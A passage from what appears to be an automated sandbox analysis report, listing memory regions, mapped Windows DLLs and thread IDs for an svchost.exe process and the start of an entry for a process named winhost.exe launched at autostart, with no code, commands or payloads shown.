end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 2541 start_va = 0x2470000 end_va = 0x256ffff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 2542 start_va = 0x2640000 end_va = 0x264ffff entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 2543 start_va = 0x2650000 end_va = 0x364ffff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 2544 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2545 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2546 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2547 start_va = 0x77a30000 end_va = 0x77a36fff entry_point = 0x77a30000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2548 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2549 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2550 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2551 start_va = 0xfff20000 end_va = 0xfff2afff entry_point = 0xfff20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2552 start_va = 0x7fef4860000 end_va = 0x7fef4ad9fff entry_point = 0x7fef4860000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2553 start_va = 0x7fef6d60000 end_va = 0x7fef6d67fff entry_point = 0x7fef6d60000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2554 start_va = 0x7fef7940000 end_va = 0x7fef7950fff entry_point = 0x7fef7940000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 2555 start_va = 0x7fef7d00000 end_va = 0x7fef7d63fff entry_point = 0x7fef7d00000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2556 start_va = 0x7fef7d70000 end_va = 0x7fef7de0fff entry_point = 0x7fef7d70000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2557 start_va = 0x7fef7df0000 end_va = 0x7fef7e27fff entry_point = 0x7fef7df0000 region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 2558 start_va = 0x7fef7e30000 end_va = 0x7fef7e7dfff entry_point = 0x7fef7e30000 region_type = mapped_file name = "nlasvc.dll" filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll") Region: id = 2559 start_va = 0x7fef7e80000 end_va = 0x7fef7e96fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2560 start_va = 0x7fef7ea0000 end_va = 0x7fef804ffff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2561 start_va = 0x7fef80c0000 end_va = 0x7fef80effff entry_point = 0x7fef80c0000 region_type = mapped_file name = "cryptsvc.dll" filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll") Region: id = 2562 start_va = 0x7fef81c0000 end_va = 0x7fef81dffff entry_point = 0x7fef81c0000 region_type = mapped_file name = "wkssvc.dll" filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll") Region: id = 2563 start_va = 0x7fefaef0000 end_va = 0x7fefaf07fff entry_point = 0x7fefaef0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2564 start_va = 0x7fefaf10000 end_va = 0x7fefaf20fff entry_point = 0x7fefaf10000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2565 start_va = 0x7fefafd0000 end_va = 0x7fefafd6fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "dnsext.dll" filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll") Region: id = 2566 start_va = 0x7fefafe0000 end_va = 0x7fefb032fff entry_point = 0x7fefafe0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2567 start_va = 0x7fefb040000 end_va = 0x7fefb06ffff entry_point = 0x7fefb040000 region_type = mapped_file name = "dnsrslvr.dll" filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll") Region: id = 2568 start_va = 0x7fefb130000 end_va = 0x7fefb13afff entry_point = 0x7fefb130000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2569 start_va = 0x7fefb140000 end_va = 0x7fefb166fff entry_point = 0x7fefb140000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2570 start_va = 0x7fefb1c0000 end_va = 0x7fefb226fff entry_point = 0x7fefb1c0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2571 start_va = 0x7fefb260000 end_va = 0x7fefb278fff entry_point = 0x7fefb260000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2572 start_va = 0x7fefb890000 end_va = 0x7fefb8a3fff entry_point = 0x7fefb890000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2573 start_va = 0x7fefb8b0000 end_va = 0x7fefb8c4fff entry_point = 0x7fefb8b0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2574 start_va = 0x7fefb8d0000 end_va = 0x7fefb8dbfff entry_point = 0x7fefb8d0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2575 start_va = 0x7fefba10000 end_va = 0x7fefba20fff entry_point = 0x7fefba10000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2576 start_va = 0x7fefbff0000 end_va = 0x7fefc00cfff entry_point = 0x7fefbff0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2577 start_va = 0x7fefc540000 end_va = 0x7fefc66bfff entry_point = 0x7fefc540000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2578 start_va = 0x7fefca40000 end_va = 0x7fefca46fff entry_point = 0x7fefca40000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2579 start_va = 0x7fefcb30000 end_va = 0x7fefcb4afff entry_point = 0x7fefcb30000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2580 start_va = 0x7fefcb50000 end_va = 0x7fefcb6dfff entry_point = 0x7fefcb50000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2581 start_va = 0x7fefcca0000 end_va = 0x7fefcca9fff entry_point = 0x7fefcca0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2582 start_va = 0x7fefcce0000 end_va = 0x7fefcd2bfff entry_point = 0x7fefcce0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2583 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2584 start_va = 0x7fefcec0000 end_va = 0x7fefcf1afff entry_point = 0x7fefcec0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2585 start_va = 0x7fefd030000 end_va = 0x7fefd036fff entry_point = 0x7fefd030000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2586 start_va = 0x7fefd040000 end_va = 0x7fefd094fff entry_point = 0x7fefd040000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2587 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2588 start_va = 0x7fefd1b0000 end_va = 0x7fefd1e1fff entry_point = 0x7fefd1b0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 2589 start_va = 0x7fefd210000 end_va = 0x7fefd231fff entry_point = 0x7fefd210000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2590 start_va = 0x7fefd2d0000 end_va = 0x7fefd33cfff entry_point = 0x7fefd2d0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2591 start_va = 0x7fefd640000 end_va = 0x7fefd64afff entry_point = 0x7fefd640000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2592 start_va = 0x7fefd670000 end_va = 0x7fefd694fff entry_point = 0x7fefd670000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2593 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2594 start_va = 0x7fefd750000 end_va = 0x7fefd78cfff entry_point = 0x7fefd750000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2595 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2596 start_va = 0x7fefd7b0000 end_va = 0x7fefd7befff entry_point = 0x7fefd7b0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2597 start_va = 0x7fefd850000 end_va = 0x7fefd85efff entry_point = 0x7fefd850000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2598 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2599 start_va = 0x7fefd990000 end_va = 0x7fefdaf6fff entry_point = 0x7fefd990000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2600 start_va = 0x7fefdb00000 end_va = 0x7fefdb35fff entry_point = 0x7fefdb00000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2601 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2602 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2603 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2604 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2605 start_va = 0x7fefdef0000 end_va = 0x7fefdef7fff entry_point = 0x7fefdef0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2606 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2607 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2608 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2609 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2610 start_va = 0x7feff4e0000 end_va = 0x7feff550fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2611 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2612 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2613 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2614 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2615 start_va = 0x7feffb20000 end_va = 0x7feffb6cfff entry_point = 0x7feffb20000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2616 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2617 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2618 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2619 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2620 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2621 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2622 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2623 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2624 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2625 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2626 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2627 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2628 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2629 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2630 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2631 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2632 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 57 os_tid = 0x8c8 Thread: id = 58 os_tid = 0x890 Thread: id = 59 os_tid = 0x798 Thread: id = 60 os_tid = 0x794 Thread: id = 61 os_tid = 0x744 Thread: id = 62 os_tid = 0x674 Thread: id = 63 os_tid = 0x654 Thread: id = 64 os_tid = 0x5e8 Thread: id = 65 os_tid = 0x41c Thread: id = 66 os_tid = 0x418 Thread: id = 67 os_tid = 0x414 Thread: id = 68 os_tid = 0x3d8 Thread: id = 69 os_tid = 0x2b0 Thread: id = 70 os_tid = 0x290 Thread: id = 72 os_tid = 0x944 Thread: id = 75 os_tid = 0xa60 Thread: id = 76 os_tid = 0xa54 Thread: id = 77 os_tid = 0xa84 Thread: id = 78 os_tid = 0x780 Process: id = "10" image_name = "winhost.exe" filename = "c:\\windows\\system32\\winhost.exe" page_root = "0xf1ad000" os_pid = "0x548" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Windows\\System32\\winhost.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2d2" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2633 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2634 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2635 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2636 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2637 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2638 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2639 start_va = 0x400000 end_va = 0x8fbfff entry_point = 0x400000 region_type = mapped_file name = "winhost.exe" filename = "\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe") Region: id = 2640 start_va = 0x77170000 end_va = 0x77318fff entry_point = 0x77170000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2641 start_va = 0x77350000 end_va = 0x774cffff entry_point = 0x77350000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2642 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2643 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2644 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2645 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2646 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2647 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2648 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2817 start_va = 0x1c0000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2818 start_va = 0x738c0000 end_va = 0x738c7fff entry_point = 0x738c0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2819 start_va = 0x738d0000 end_va = 0x7392bfff entry_point = 0x738d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2820 start_va = 0x73930000 end_va = 0x7396efff entry_point = 0x73930000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2826 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2827 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2828 start_va = 0x360000 end_va = 0x3c6fff entry_point = 0x360000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2829 start_va = 0x75500000 end_va = 0x75545fff entry_point = 0x75500000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2830 start_va = 0x75590000 end_va = 0x7569ffff entry_point = 0x75590000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2831 start_va = 0x76f50000 end_va = 0x7706efff entry_point = 0x0 region_type = private name = "private_0x0000000076f50000" filename = "" Region: id = 2832 start_va = 0x77070000 end_va = 0x77169fff entry_point = 0x0 region_type = private name = "private_0x0000000077070000" filename = "" Region: id = 2833 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2834 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2835 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2836 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2837 start_va = 0x758a0000 end_va = 0x7599ffff entry_point = 0x758a0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2838 start_va = 0x76940000 end_va = 0x769cffff entry_point = 0x76940000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2839 start_va = 0x750a0000 end_va = 0x750a9fff entry_point = 0x750a0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2840 start_va = 0x759e0000 end_va = 0x75a7cfff entry_point = 0x759e0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2841 start_va = 0x76d30000 end_va = 0x76ddbfff entry_point = 0x76d30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2842 start_va = 0x74fa0000 end_va = 0x7503ffff entry_point = 0x74fa0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2843 start_va = 0x76a50000 end_va = 0x76a68fff entry_point = 0x76a50000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2844 start_va = 0x753e0000 end_va = 0x754cffff entry_point = 0x753e0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2845 start_va = 0x74eb0000 end_va = 0x74f0ffff entry_point = 0x74eb0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2846 start_va = 0x74ea0000 end_va = 0x74eabfff entry_point = 0x74ea0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2847 start_va = 0x900000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2848 start_va = 